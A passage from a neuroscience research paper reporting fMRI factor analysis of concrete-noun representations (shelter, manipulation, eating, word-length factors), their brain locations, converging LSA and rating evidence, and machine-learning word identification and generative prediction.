highest factor scores for a given factor and which had the lowest. For
example, the factor we labeled as _eating-related_ assigns the highest rank
orders to vegetables and eating utensils. Another example is the factor
labeled _word length_ , which assigned the highest factor scores to the
longest words and the lowest scores to the shortest words \(_cat_ , _cow_ ,
_car_ , _leg_ , _key_\), making it straightforward to interpret this factor.

There were three interesting semantic factors: _manipulation_ , _eating_ , and
_shelter-entry_. The _manipulation_ factor accords its highest scores to
objects that are held and manipulated with one's hands. The 10 words with the
highest factor scores for this factor included all five of the tools, as well
as _key_ , _knife_ , _spoon_ , _bicycle_ , and _arm_. The 10 words with the
highest factor scores for each factor are shown in Table 2. The _eating_
factor appears to favor objects that are edible \(all five vegetables are in
the top 10\) or are implements for eating or drinking \(_glass_ and _cup_\).
Note that each word has a score for each of the factors, so a word's neural
representation is a composition of these four factors, such that _glass_ and
_cup_ rank high not only in terms of _eating_ , but they also have a
substantial _manipulation_ component \(although not in the top 10\). The
_shelter_ factor appears to favor the objects that provide shelter or entry to
a sheltering enclosure. The 10 words with the highest factor scores contained
three of the dwellings, four of the vehicles that include an enclosure \(such
as _train_\), as well as _door_ , _key_ , and _closet_. These interpretations
of the factors are consistent with converging evidence presented below. \(The
percentage of variation accounted for by each of the four second-level factors
in the data of the four participants with plentiful anterior voxels was
_eating_ : 7.26; _shelter_ : 8.51; _manipulation_ : 7.31; _word length_ :
5.67.\)

<img src='img/Temp2_6069.png' alt='thumbnail' />

**Table 2. Ten words with highest factor scores \(in descending order\) for
each of the 4 factors.**

doi:10.1371/journal.pone.0008622.t002

##### Visual features of the printed word: the word-length factor.

The _word length_ factor presents an opportunity to separate a low-level,
perceptual feature of the printed word from the high-level, semantic object
features \(encoded by the _manipulation_ , _eating_ , and _shelter_ factors\).
The _word length_ factor appears to represent the width or number of letters
of the printed word. The _word length_ factor scores of each word are highly
correlated with word length \(r = 0.90\). The locations associated with this
factor \(reported below\) also appear to be consistent with this
interpretation. There was also a check made to determine whether word
frequency might also be influencing the activation at the _word length_ factor
locations. However, a stepwise regression on the mean activation of the voxels
in each factor location determined that after having entered word length as
the independent variable in the first step, entering word frequency in the
second step never produced a reliable increase in R2 in any of the analyses of
the four factor locations in any of the 11 participants. In sum, this low-
level _word length_ factor demonstrates that the factor analysis method can
recover a factor that matches a clearly measureable property of the stimuli,
and thus serves as a validity check. Moreover, the factor captures an
essential part of the representation of a written word as it progresses into
the semantic system.

##### Alternative analyses yielding similar results.

The impact of having used the two-level factor analysis can be assessed by
comparing it to a single-level analysis that finds factors in a single step
\(eliminating the first-level within-lobe, within-participant analyses\). The
single-level analysis also recovers the four factors reported above. The
_shelter_ , _manipulation_ , and _word length_ factors strongly resemble the
corresponding factors in the two-level analysis \(the correlations between the
two sets of 60 factor scores derived from the two approaches for these three
factors were 0.89, 0.92, and 0.96 respectively\). However, there was a modest
difference in the _eating_ factor scores from the two approaches \(a
correlation of 0.71 between the two sets of factor scores\) and, moreover, the
eating factor ranked fifth among the resulting factors in the single-level
analysis \(having been displaced by a much less interpretable factor\). The
two different factor analysis approaches thus produce the same four factors.
We have focused on the results of the two-level analysis because there we
enforced certain assumptions \(distribution across lobes and generality across
participants\) and because the resulting factor structure was more easily
interpretable.

To confirm that the factors obtained from the four participants with plentiful
anterior voxels apply well to the activation of all 11 participants, an
additional two-level factor analysis was performed on all 11 participants
using the method described above. The first four factors \(explaining 20% of
the variation in the first-level factors data\) were extremely similar to the
corresponding factors from the original four-participant analysis, and also
were shared by a substantial proportion of the participants. The correlation
between four- and 11-participant-based factor scores for the 60 words for
_shelter_ was .91, and the factor was present in nine of the 11 participants;
for _manipulation_ the correlation was .88 and the factor was present in five
of 11 participants; for _eating_ the correlation was .85 and the factor was
present in nine of 11 participants; for _word length_ the correlation was .93
and the factor was present in all 11 participants. There were other factors
emerging from the four- and 11-participant factor analyses that were present
in fewer of the participants than these four factors, such as a factor that
could be labeled _containment_ , which assigned high scores to objects capable
of being filled, such as _cup_ and _closet_. Thus the alternative analyses
described above \(the one-level factor analysis and the two-level analysis on
data from all 11 participants\) show that the outcomes are not closely
dependent on the main methods that were used.

#### Finding the Multiple Brain Locations Corresponding to Each Factor

Because the semantic factors emerge from the activation patterns of individual
voxels, it is possible to trace the factors back to their root voxels and
determine where the voxels associated with a given factor are located. Using
the factor loading matrices from the second- and first-level factor analyses,
the locations of voxels that are associated with each of the four common
factors were computed from the analysis of all four participants with
plentiful anterior voxels. Recall that voxels were uniquely assigned to one of
the four factors by selecting their highest \(absolute value\) loading above a
.4 threshold. For each factor, the associated voxels tended to cluster in
three to five different locations in the brain. Voxel clusters were obtained
by finding at least five neighboring voxels that belonged to a given factor.
Then a sphere was defined at the centroid of the cluster having a radius equal
to the mean radial dispersion of these voxels from the centroid.

To foreshadow, all four factors were associated with multiple locations,
distributed across multiple lobes. Moreover, many of the locations associated
with a given factor have been previously characterized as nodes in networks of
cortical areas related to the factor in fMRI studies without verbal stimuli,
as described below. Two of the factors \(_manipulation_ and _eating_\) were
very strongly left-lateralized, possibly due to handedness considerations. The
_shelter_ and _word length_ factors included voxel clusters in both
hemispheres.

The centroids and radii associated with each factor are shown in Figure 1 and
Table 3. Figure 1 shows the multiple cluster locations for all of the factors
in the brain as colored spheres. \(Additionally, Figure S1 shows the locations
of the actual voxels assigned by the above procedure to the four factors.\) In
the descriptions below of the correspondences between these locations and
those reported in other studies, we cite the Euclidean distance from the
centroid of a given cluster of a factor in the analysis above, to the peak
voxel or the centroid of activation provided in the cited article. Note that
the mean radius of our spheres is about 7 mm and the voxel size is
3.125×3.125×6 mm, so any centroid-to-centroid distance less than our radius
constitutes an overlap of location.

<img src='img/Temp2_6074.png' alt='thumbnail' />

**Figure 1. Locations of the voxel clusters \(spheres\) associated with the
four factors.**

The spheres \(shown as surface projections\) are centered at the cluster
centroid, with a radius equal to the mean radial dispersion of the cluster
voxels.

doi:10.1371/journal.pone.0008622.g001

<img src='img/Temp2_6072.png' alt='thumbnail' />

**Table 3. Locations \(MNI centroid coordinates\) and sizes of the voxel
clusters associated with the four factors.**

doi:10.1371/journal.pone.0008622.t003

#### Relating the Factor Locations to Activation Locations in Other Tasks

Even though the locations of the multiple clusters were obtained from a factor
analysis of the activation in response to the presentation of printed words,
many of the factor-related locations have previously been shown to activate in
perceptual or motor tasks that do not involve verbal stimuli but appear to
entail the same factor. Notably, the multiplicity of the locations per factor
is echoed in these previous studies.

##### Manipulation factor locations.

fMRI studies of object manipulation yield activation sites very similar to the
multiple locations of the _manipulation_ factor, according to a meta-analysis
of such studies \[17\]. For example, the _manipulation_ factor's four
locations correspond extremely well \(within 1.4 to 8.2 mm across the four
locations\) to areas that activate during actual and pantomimed hand-object
interactions \[18\]. Similarly, three of the four locations activate during
imagined grasping of tools \[19\]. The _manipulation_ factor location in L
Postcentral/Supramarginal Gyri has activated as part of a network involved in
surface orientation discrimination \(\[20\], d = 1.3 mm\), object
manipulation, and hand-object interaction \(\[21\], d = 7.9 mm\). The L
Supramarginal area activated in hand-object interaction \(\[21\], d = 9.5 mm\)
and was selectively activated during a pantomime grasping task \(\[22\], d =
5.9 mm\). L Precentral Gyrus activated in a visual pointing task \(\[23\], d =
8.0 mm\), presumably as part of the network related to visually-guided arm
movement. The previous studies collectively indicate what the specializations
of the separate _manipulation_ factor locations might be, such the planning of
motor movements, motor imagery of interaction with objects, abstract
representation of motion, and lexical knowledge related to tools. Thus the
_manipulation_ factor appears to be decomposable in studies that focus on the
components of a factor.

##### Shelter factor locations.

Bilateral fusiform/parahippocampus and precuneus locations overlap well with
networks of areas that activated in previous visual perception studies. The
fusiform _shelter_ clusters, obtained from a factor analysis of brain
activation patterns in response to words, correspond well to the published
“parahippocampal place area” \(PPA\) that activates when participants view
pictures depicting buildings and landmarks \[24\]: the _shelter_ centroids are
within 2.8 mm and 4.2 mm of the PPA loci \(Talairach coordinates of \(\(20,
−39, −5\) and \(−28, −39, −5\)\) on the right and left respectively\). Equally
striking is the fact that four of the five _shelter_ locations correspond to
four areas activated when judging familiarity of pictures of places \(the
participant's own office or house\) \[25\], emphasizing that the neural
representation of _shelter_ entails a network of areas.

The _eating_ factor includes an L IFG cluster that is 4.5 mm away from the
location associated with face-related actions like chewing or biting reported
by Hauk et al. \[2\].

The _word length_ factor includes bilateral occipital pole primary visual
cortex clusters that most likely reflect the low-level visual representation
of the printed word.

The outcome and advantage of this approach in comparison to a conventional
univariate GLM analysis is presented in the Supporting Information section
\(Text S1\). Table S1 shows the comparison of the locations of activation in
taxonomic-category-based GLM contrasts to the factor locations; the GLM-
derived clusters that match some of the factor locations are shown as surface
renderings in Figure S2.

To summarize, the four factors, which can be localized to 16 clusters in the
brain, appear to reflect the semantic and visual properties of the 60 concrete
words. In many cases, there is an amazingly close overlap between the
locations that encode a given factor for the 60 concrete nouns in our
experiment, and areas that activate during non-verbal tasks, such as actually
performing or observing hand manipulations of objects \(grasping, pointing\).
This correspondence provides an important link between the neural
representation of concrete nouns and the representation of the different types
of interactions a person can have with such objects. Moreover, the multiple
locations of a factor can usefully be construed as differently-specialized
nodes of a network, each of which contains a representation of the object.
Finally, it is important to recall that each noun is represented as a mixture
of factors, such as an _apple_ being both an object of _eating_ and an object
of _manipulation_. These findings constitute the beginnings of a neurosemantic
theory of concrete noun representations, further elaborated and tested in
sections below.

#### 2\. Relating the Semantic Factors to Other Characterizations of Word
Meaning: Latent Semantic Analysis \(LSA\) and Independent Participant Ratings

##### Converging method 1: Latent Semantic Analysis \(LSA\).

One test of the interpretation of the semantic factors was obtained by using
LSA \(http://lsa.colorado.edu/\), which applies singular value decomposition
to corpus-based metrics to provide a high-dimensional \(300 in our case\)
representation of inter-text similarity \[26\]. LSA was used to determine the
distance between each of the 60 words and a string of five to nine words
\(always excluding any stimulus word\) intended to correspond to each factor.
The string we defined for the _eating_ factor was _food vegetable meat utensil
eat drink dish_ ; for _manipulation_ it was _tool manipulate handle grip
utensil_ ; for _shelter-entry_ it was: _building dwelling residence shelter
indoor enter entry drive travel_. The resulting LSA-computed distances between
each stimulus word and the strings were highly correlated with the words'
corresponding factor scores derived from the activation data: the correlations
were, for _manipulation_ : .70; _eating_ : .57; and _shelter_ : .46. This
general type of correspondence between brain activation data and text corpus
characteristics of a word was one of the main foci of the Mitchell et al.
\[1\] analysis.

Figure 2 plots these LSA distances \(between the word and the factor-related-
string\) against the word's factor score, for each of the 60 words. The 10
rightmost points in each graph correspond to the 10 words with the highest
factor scores, shown in Table 2. \(Also shown is the correlation between the
length of the word and the factor score, in which LSA is not involved.\) These
findings illustrate that an independent, corpus-based characterization of word
meaning, obtained without brain imaging data, bears a substantial relation to
the characterization obtained through factor analysis of the brain activation
patterns.

<img src='img/Temp2_6067.png' alt='thumbnail' />

**Figure 2. Correlation between LSA scores and activation-derived factor
scores for the 60 words.**

For the _word length_ factor, the abscissa indicates the actual word length.

doi:10.1371/journal.pone.0008622.g002

##### Converging method 2: Independent human ratings of the words.

An independent set of ratings of each word with respect to each of the three
semantic factors was obtained from a separate set of 14 participants. For
example, for the _eating-related_ factor, participants were asked to rate each
word on a scale from 1 \(_completely unrelated to eating_\) to 7 \(_very
strongly related_\). The mean ratings correlated well with the corresponding
factor scores derived from the activation data: _manipulation_ : .62; _eating_
: .52; _shelter_ : .72. For _word length_ , the factor scores' correlation
with the actual word length was .90. Figure 3 plots these correlations. In
summary, the participant ratings of word meaning, much like the corpus-based
LSA distances, provide converging information consistent with the
interpretation of the factors.

<img src='img/Temp2_6070.png' alt='thumbnail' />

**Figure 3. Correlation between independent ratings of the words and
activation-derived factor scores for the 60 words.**

For the _word length_ factor, the abscissa indicates the actual word length.

doi:10.1371/journal.pone.0008622.g003

#### 3\. Using Machine Learning \(Pattern Classification\) Methods to Test the
Factor Approach

Although factor analysis has long been a powerful discovery tool, it often
suffers from a lack of an independent method to assess the explanatory and
predictive power of the analysis. To assess how well the four factors \(their
profiles and locations\) reflect the properties of the 60 words, machine
learning \(ML\) methods were used to construct and compare several different
models of the activation. These models were first trained on a subset of the
relevant data and then used to make predictions over the remaining data,
enabling us to quantitatively test the accuracies of competing models. The
models differed primarily in the semantic characterization that governed the
selection of features \(voxels\).

##### Voxels selected based on semantic factors.

In the ML model based on factor analysis, a feature set consisting of 80
voxels was first algorithmically selected. \(Sets of voxels larger than 80 do
not systematically improve the classifiers' performance.\) The three
properties that governed voxel selection were:

  1. a semantic property \(or for the _word length_ factor, a visual property\), namely the similarity of the voxel's mean activation profile to the profile of one of the four factors, specifically, the factor associated with one of 16 locations, described below. \(The mean activation profile of the voxel is the vector of 60 mean values of the voxel's activation level for the 60 words; the factor's profile consists of the factor scores for the 60 words.\) The similarity between the voxel and factor activation profiles was measured as the correlation between these two vectors.
  2. a stability property, namely the stability of the voxel's activation profile over the four distinct presentations of the set of 60 words that were included in the classifier's training set. \(Stability was calculated as the mean pairwise correlation between all possible pairs of the voxel's four presentation-specific activation profiles.\)
  3. a location property, specified by the 16 locations associated with the four factors. These locations served as the centroids of search volumes that were similar to the spheres shown in Figure 1, but larger by one voxel and shaped as cuboids, for computational simplicity

Combining the three properties above, five voxels were selected from each of
the 16 search volumes, namely those five voxels with the highest product of
semantic and stability scores, resulting in a feature set of 80 voxels.

To ensure independence between the training data and the test data in the ML
cross-validation procedures, all of the factor-based ML analyses on a given
participant used factor profiles and factor locations derived only from data
from other participants. The factor profiles and cortical locations were
derived from three of the four participants with plentiful anterior voxels,
always excluding the participant under analysis.

#### Word Identification Accuracy Based on Recovered Factors

The first new machine learning finding is that it is possible to identify
which noun \(out of 60\) a person is thinking about with accuracies far above
chance level by training a classifier on a subset of that person's activation
data \(four out of six presentations\) and then making the identification over
an independent dataset \(the mean of the remaining two presentations\). \(The
mean of two presentations is used simply to signal average.\) This
identification was based on a total of 80 voxels, five from each of the 16
locations associated with the four factors, chosen using the procedure
described above. The rank accuracies of the word identification reached a
maximum of .84 for two of the 11 participants \(Participants P1 and P2\), with
a mean rank accuracy of .724 across the 11 participants. The accuracies for
individual participants and the group means are shown in Figure 4 by the black
curve. All of the individual participants' identification accuracies are well
above chance level \(the dashed horizontal black line indicates the p<.001
level of statistical difference from chance, determined by random permutation
tests\). These findings establish the ability to identify which word a
participant is considering, based on the operating characteristics of a small
set of voxels that were chosen on the basis of their match to the four factor
profiles obtained from other participants' data.

<img src='img/Temp2_6051.png' alt='thumbnail' />

**Figure 4. Rank accuracy of identifying the 60 individual words for each
participant and the group mean.**

The accuracies are based on either the participant's own training set data
\(black\) or on the data from the other 10 participants \(gray\), using
factor-based feature selection \(80 voxels\) and the Gaussian Naïve Bayes
classifier. The dashed lines indicate levels with p<.001 greater than chance,
obtained with random permutation testing \(black, within participants; gray,
between participants\).

doi:10.1371/journal.pone.0008622.g004

Previous comparable studies of the brain activity associated with semantic
stimuli have been based on the presentation of pictorial inputs \(such as a
sequence of photographs of physical objects from a given category, such as
houses\) whose visual forms were being represented \(probably in an abstract
form\) in secondary visual processing areas, particularly ventral temporal
cortex, and the activation patterns were then identified as being associated
with a particular category \[8\]. Here, by contrast, the stimuli were printed
words only, which were identified by their activation as one of 60 individual
exemplars. To our knowledge, this is the first demonstration of the ability to
identify the neural representation of individual words \(although we have
previously demonstrated the ability to do so for word-picture pairs \[1\]\).

##### Identification within taxonomic categories.

The classifier can still distinguish reasonably well even among the five words
that all come from the same taxonomic category. For example, when the
classifier is trained on all 60 words, the mean rank accuracy of the correct
response among the five buildings \(averaged over participants\) is .684. The
mean of such accuracies over all 12 taxonomic categories is .658, far above
chance level, indicating that this method identifies more than just the
category of the stimulus item. However, this accuracy is lower than when the
identification is from among five randomly chosen items \(which is .738\),
indicating that greater similarity among the alternatives decreases the
identification accuracy.

##### Word identification based only on a single factor.

It is interesting to ask how well words can be identified by their activation
when the voxels used by the classifier are selected on the basis of only one
of the factors. The accuracy was somewhat similar for the four factors used
individually. The _manipulation_ factor alone provided a mean accuracy of .632
\(based on 20 voxels\); the _shelter_ factor alone led to a mean
identification accuracy of .655 \(using 25 voxels\); the _eating_ factor alone
provided .593 accuracy \(15 voxels\); and _word length_ provided .663 accuracy
\(20 voxels\). \(All of these accuracies are above the p<.001 chance level.\)
These results demonstrate that the factors make comparable contributions to
word identification, as suggested by the similarity in the variation they each
accounted for.

##### Word identification based on only the three semantic factors.

If the classifier is based on only the three semantic factors \(and the lower-
level _word length_ factor is not considered\), the word mean identification
accuracy was .676 \(based on 60 voxels distributed among the locations of the
three semantic factors\), well above the p<.001 chance level and higher that
any of the factors considered alone. This result indicates that _word length_
contributes substantially to the .724 mean accuracy obtained when the
classifier uses all four factors.

##### Machine learning using voxels selected only by stability.

The semantically-based model above, which uses voxels from locations
associated with the derived factors, can be compared to a baseline model that
uses voxels selected only for their stability, regardless of their location
within cortex. \(As above, a voxel's stability is computed as the correlation
of its presentation-specific activation profiles \(profiles across the 60
stimulus words\) across the four presentations in the training set.\) The 80
whole-cortex stable voxels were located primarily in the left hemisphere
\(62.2% on average across participants\), with a range of 43% to 80%, and were
generally more posterior \(visual\) than the factor-based locations. This
stability-only model attempts to identify which word the participant is
thinking about without any consideration of word meaning, and instead
characterizes only the statistical relation between the voxel activation
levels and the words. The results from this model show that it is also
possible to identify which noun \(out of 60\) a person is thinking about by
selecting voxel locations simply on statistical grounds, without regard to the
factor locations. The mean rank accuracy of the word identification of the
stability-only model was .726 across the 11 participants. If the voxel
selection procedure imposes a location constraint in addition to the stability
constraint \(using the 16 most stable voxels in each of five “lobes”\), the
mean rank accuracy is .722.

Despite the comparable accuracies of the stability-based model and the model
derived from the factor analysis \(in combination with stability\), there are
several reasons to prefer the semantic-factor-times-stability model. The first
is that the selected voxels are chosen based on the mapping of their activity
to a semantic factor, according them an interpretable attribute, and hence
providing some face validity to the model. A second important difference is
that only the semantic-factor models provide a basis for a generative theory
of object representation that is extensible to new words. The model based only
on stability has no capability of doing so. This facet of the theory is
explored below, where semantically-based activation predictions are generated
and tested for words to which the model has not been exposed. A third
difference is that the voxels selected on the basis of a semantic-factor-
correlation-times-stability capture important but less stable representations
distributed throughout the cortex, including frontal, parietal, and temporal
areas that probably encode semantic information. By contrast, the voxels
selected by the baseline model, solely on the basis of stability, strongly
favor posterior locations in the primary and secondary visual areas where the
voxels are apparently more stable. \(In the factor analysis output, these
posterior voxels are associated primarily with the _word length_ factor.\)
Thus the semantic-factor-correlation-times-stability model captures semantic
representations \(as well as visual representations\) distributed throughout
the cortex, as well as providing a basis of extensibility for the theory.

#### 4\. Across-Participant Word Identification

The semantic factor approach can also be used to determine whether the words
have a neural signature that is common across people. The results show that it
is in fact possible to identify which of the 60 words a person is viewing with
accuracies far above chance level by extracting the semantically-driven neural
signatures of each of the 60 words exclusively from the activation patterns of
factor-related voxels of other people. The voxels were selected on the basis
of their correspondence to the factors \(again multiplied by stability, where
stability was computed across all 10 of the participants in the training
set\). The model was based on the four factors and used 80 voxels. \(The
factor analysis that was used for selecting voxels was based on only three of
the four participants with plentiful anterior voxels such that no
participant's own factor analysis was used when selecting voxels for that
participant's classification.\) The classifier was trained on data from 10
participants and tested on the 11th left-out participant \(averaging first
over the six presentations within a participant, and then treating the mean
data from the 10 participants as though there were 10 presentations\). The
mean across-participant identification accuracy, averaged across the 11
participants, was .720, as shown by the gray curve in Figure 4. All of the
participants' identification accuracies were well above chance level \(a
chance probability of p<.001 is shown by the dashed gray line\). The mean
accuracy for the cross-participant model was similar to the mean accuracy
based on the corresponding within-participant identification, also using 80
factor-times-stability voxels \(mean = .724\). However, the cross-participant
model had the benefit of more training data \(from the 10 left out
participants, averaged over their six presentations\). Although the mean
accuracies for the two models were similar, the cross-participant model had
similar accuracies for all of the participants, whereas the within-participant
model did much better on some participants than others.

The cross-participant findings provide the first evidence of a neural
representation of concrete nouns based on a set of semantic factors that is
common across people. This finding is an important extension of the
commonality found across participants in the representation of pictures of
physical objects \[14\].

#### 5\. Theory-Based Generative Prediction

The new findings can be expressed as an initial, limited theory of concrete
noun representation, stating how and where a given noun is neurally
represented. Specifically, each noun of the type that we studied is proposed
to be represented in terms of four underlying factors at a total of 16
cortical locations, where the locations for each factor code the degree and/or
nature of the relatedness of the noun to that factor. This formulation
constitutes a theoretical account whose fit to the data has been described
above. Below, we develop a generative or predictive account, whereby the
theory is used to predict the activation of words that are not included in the
data analysis.

We have recently reported a new machine learning protocol that makes it
possible to measure how well a model can generate a prediction for an item
\(the neural representation of a particular noun\) on which it has not been
trained \[1\]. The success of any such generative approach demonstrates more
than just a mathematical characterization of a phenomenon. The ability to
extend prediction to new items provides an additional test of the theoretical
account of the phenomenon.

In brief, two words are left out of the training set at each fold \(say,
_apartment_ and _carrot_ in one of the folds\), and a regression model is
trained using the data from the remaining 58 words to determine the regression
weights to be associated with each of the four factors. To make the
prediction, the values of the independent variables are directly derived from
the ratings of the two words on the three semantic dimensions \(obtained from
the independent group of participants, as described above\) and from the word
length. Then the model can make a prediction for each of the two words,
without using any information about any participant's fMRI response to those
two words. The model then attempts to match the two predicted images to the
two observed fMRI images for the two held-out words, based on their relative
similarity to each other \(using a cosine measure\). There were 1,770 such
attempts at matching \(the number of unique word pairs that can be left out of
60 words\), and the model was assessed in terms of its mean accuracy over
these attempts within each participant. This approach tests whether the model
developed for 58 words is extensible to two entirely new words.

To ensure that the predictive regression model had no information about the
two left-out words by virtue of information from the factor analysis outcomes,
a new factor analysis was run on each of the 1,770 sets of 58 words, producing
a separate set of factor profiles and factor locations for each run. The
underlying regression model then used the four factor profiles and the
corresponding voxel locations \(obtained from the data of three participants
other than the one that was being analyzed\).

The voxels were selected similarly to the other machine learning protocols.
For each of the four factor locations \(a total of 16 locations\), five voxels
with the highest product of the correlation with the corresponding factor
profile times their stability were selected, for a total of 80 voxels. This
selection procedure was performed separately for each of the 1,770 runs,
leaving two words out at each iteration.

To illustrate examples of the predictions, Figure 5 shows the presence of
observed and predicted activation in the parahippocampal area and precuneus
areas \(indicated by dark and light blue ellipses, respectively\) for
_apartment_ , and the absence of such observed and predicted activation for
_carrot_. Analogously \(but not shown in the figure\), L IFG \(a location for
the _eating_ factor\) shows both observed and predicted activity for _carrot_
but not for _apartment_.

<img src='img/Temp2_6064.png' alt='thumbnail' />

**Figure 5. Observed and predicted images of _apartment_ and _carrot_ for one
of the participants.**

A single coronal slice at MNI coordinate y = 46 mm is shown. Dark and light
and blue ellipses indicate L PPA and R Precuneus _shelter_ factor locations
respectively. Note that both the observed and predicted images of _apartment_
have high activation levels in both locations. By contrast, both the observed
and predicted images of _carrot_ have low activation levels in these
locations.

doi:10.1371/journal.pone.0008622.g005

The factor-based generative classification accuracy was quite high: the mean
accuracy across 11 participants was .801 \(far above the p<.001 greater than
chance threshold of 0.537\). This finding confirms that the theory concerning
the neural basis of concrete noun representation is sufficiently powerful to
generate predictions that successfully discriminate between new pairs of
concrete nouns.

\(The predictive accuracy of the regression model is not comparable to the
non-generative mean rank accuracy of .724 for the classification of individual
words obtained with the Gaussian Naïve Bayes classifier. The regression model
attempted to answer the question “What will the activation patterns be for
these two new words, given the relation between word properties and activation
patterns for the other 58 words?” The Gaussian Naïve Bayes classifier
attempted to answer the question of “Which of the 60 words produced this
activation pattern, given information from an independent training set?”\)

##### Generative prediction across participants.

Just above, we demonstrated the generativity of the factor model across words.
Earlier in the paper, we demonstrated the generality of the model for concrete
noun representations over participants. Here we describe how both kinds of
extension/generalization can be made simultaneously. The generative model can
make predictions concerning two previously unseen words for a previously
unseen participant. The predictions for each participant are based on data
acquired from the other 10 participants for the 58 remaining words.

This factor-based cross-participant generative model matched up the two unseen
words with their fMRI images with a mean accuracy of .762 across participants,
which is far above the p<.001 threshold of 0.537. The theory-based model is
able to extrapolate to new words while it simultaneously generalizes across
participants, demonstrating the generativity of the theory.

#### Comparison to a Previous Semantic Corpus-Based Model

It is interesting to consider how well a previous model \(based on co-
occurrence frequencies with 25 verbs of perception and action\) \[1\] can make
generative predictions based on the data from the current study. When the
generative regression model was applied to the current data using the 80 most
stable voxels, the accuracy for discriminating between the two left-out words
was .666, compared to .801 for the factor-based generative model, a reliable
difference across the 11 participants \(t\(10\) = 5.97, p<.001.\).

The relative success of the previous model speaks to the choice of verbs of
interaction that were used for co-occurrence measures. The full set of verbs
was _taste_ , _eat_ , _smell_ , _touch_ , _rub_ , _lift_ , _manipulate_ ,
_run_ , _push_ , _fill_ , _move_ , _ride_ , _say_ , _fear_ , _open_ ,
_approach_ , _near_ , _enter_ , _see_ , _hear_ , _listen_ , _drive_ , _wear_ ,
_break_ , and _clean_. These verbs are related to the semantic factors
proposed here; for example, corresponding to the _eating_ factor are _taste_ ,
_smell_ , and _eat_ ; corresponding to _manipulation_ are _touch_ , _rub_ ,
_lift_ , _manipulate_ , _push_ , _fill_ , _move_ , _break_ , and _clean_ ;
corresponding to _shelter_ are _open_ , _enter_ , and _approach_.

Both the factor model and the 25-verb-co-occurrences model capture some
essential characteristics of the relation between brain activation and
meaning. The 25-verbs model used co-occurrences of the words with an intuitive
set of 25 verbs for its characterization of the 58 modeled words and the two
left-out words. The factor model that was derived bottom-up from the
activation data used the resulting factors for its characterization of the 58
modeled words, and then additionally used independent participant ratings to
estimate semantic values for the left out words.

A quantitative relation between the two approaches can be established by using
multiple regression to determine how well each word's co-occurrences with the
25 verbs can account for the word's three semantic factor scores
\(separately\). The co-occurrences accounted for the factor scores reasonably
well \(R2 values of .70, .65, and .59 for _shelter_ , _eating_ , and
_manipulation_ , respectively\). The three verbs \(among the 25\) with the
highest beta weights in the accounts of the _shelter_ , _eating_ , and
_manipulation_ factor scores were _near_ , _fill_ , and _touch_ ,
respectively. Thus the co-occurrence measures obtained from the text corpora
can to a considerable degree predict the factor scores obtained from the fMRI
data.

### Discussion Top

The study yielded several novel findings:

  1. discovery of key semantic factors underlying the neural representation of concrete nouns;
  2. relating the semantic factors to brain anatomical locations;
  3. accurate identification of a thought generated by a concrete noun on the basis of the underlying brain activation pattern;
  4. determination of the commonality of the neural representation of concrete nouns across people; and
  5. ability to predict the activation pattern for a previously unseen noun, based on a model of the content of the representation.

#### Semantic Factors

The neural representation of physical objects was revealed to be underpinned
by three major semantic dimensions: _shelter_ , _manipulation_ , and _eating_
, which have several interesting properties. These dimensions have obvious
face validity related to their ecological validity or survival value. It is
plausible that there exist additional factors that underpin the representation
of concrete nouns that were not captured by our analysis, either because of
limitations of the set of stimulus words or limitations in the analysis
procedures.

One limitation of the stimulus set is that it contained only count nouns
\(including _apple_\) but no mass nouns \(like _milk_ or _sand_\). Mass nouns
cannot be grabbed or held like count nouns, requiring different types of
manipulation, and hence possibly requiring a different type of representation
of this factor or a different factor.

Another limitation of the stimulus set was the absence of nouns referring to
human beings \(there was no _sibling_ , _lover_ , or _attorney_\). Such nouns
and considerations of ecological importance suggest that there may exist one
or more additional dimensions related to human interaction, with factors such
as emotion and attraction.

Abstract nouns such as _kindness_ , _anger_ , or _innocence_ were also
excluded from this study. Traits and emotions seem central to the
representation of such concepts, whereas _manipulation_ , for example, seems
less relevant. A pilot study has demonstrated that there is systematicity
underlying the activation for such abstract nouns because it is possible for a
classifier to identify such concepts from the corresponding brain activation
with approximately similar accuracy as identifying concrete nouns. The
challenge remains to relate the systematicity to some interpretable factors.

Aside from the limitations imposed by the stimulus set, there are other
reasons to suspect that, even for concrete nouns, there may exist additional
neural dimensions of representation. It may be that there exist other neural
representational factors that are used less consistently across participants.
\(Recall that our analysis excluded factors observed in only a minority of the
participants' data.\) Two such less general factors that emerged from the
analysis pertained to biological motion and to containment. The total number
of semantic factors which are neurally represented may be related to the
number of distinct ways that human beings can interact with an object. In this
perspective, _shelter_ , _manipulation_ , and _eating_ may simply be the most
dominant factors for this particular set of stimuli.

It is also notable that the semantic factors do not directly correspond to
particular visual properties of the objects to which the nouns refer. For
example, neither size nor curvilinearity emerged as a factor \(although it
could be argued that _shelter_ represents concavity and size, and the
_manipulation_ factor codes how one's hand might conform to an object's
shape\). This is not to deny that there may be a small set of visual “factors”
or geometric primitives that underpin object recognition \[27\], which could
potentially be discovered using methods like ours, but applied to visual brain
area activation patterns in response to pictures of objects. It seems
reasonable to assume that an object is represented in terms of both its visual
properties and its semantic properties, with different tasks evoking different
properties.

It is also worthwhile to note that these three dimensions are not done justice
by the labels we gave them. For example, _shelter_ may additionally refer to
enclosure or to an allocentric frame of reference. _Manipulation_ may more
generally refer to physical interaction with one's body. _Eating_ could
possibly correspond more generally to obtaining nourishment. At the same time,
some validation of these labels is provided by the success of the predictive
model. That model relied on the independent participant ratings of the two
left-out words with respect to these three labels in making its predictions of
neural activity.

Moreover, each of the three dimensions has three to five subdimensions located
at different cortical locations. Taken together, these suggest an expanded set
of about 12 dimensions for the neurosemantic representation of concrete nouns
\(excluding the representation of the word length\). Each factor appears to
constitute a part of a cortical network whose constituent node specializations
have been suggested by previous perceptual-motor studies, described above.
Representation of all concrete nouns by voxels in about 12 locations, referred
to as combinatorial coding, allows an enormous number of different individual
entities to be encoded uniquely by a very modest number of voxels. In this
view, there appears to be more than adequate capacity to represent all
possible concrete nouns, which have been estimated to number about 1,600
concrete object types \[27\], as well as multiple tokens of each.

The new findings thus suggest that the meanings of concrete nouns can be
semantically represented in terms of the activation of a basis set of three
main factors distributed across approximately 12 locations in the cortex.
Several converging methods \(use of LSA and subject ratings\) lend additional
credence to the interpretation of the three factors. There are some
indications that these three dimensions are not the only ones used in the
neural representation of concrete objects. Nevertheless, the current results
do reveal the beginnings of a biologically plausible basis set for concrete
nouns, and they furthermore have the potential to be extended to other factors
for other types of concepts.

#### Brain Locations

The three semantic dimensions of representation were traced to particular sets
of brain locations that have a plausible association with their
interpretation. For all three semantic factors, at least some of the
associated locations, derived from a factor analysis of the processing of
concrete nouns, also activated in less abstract perceptual-motor tasks. The
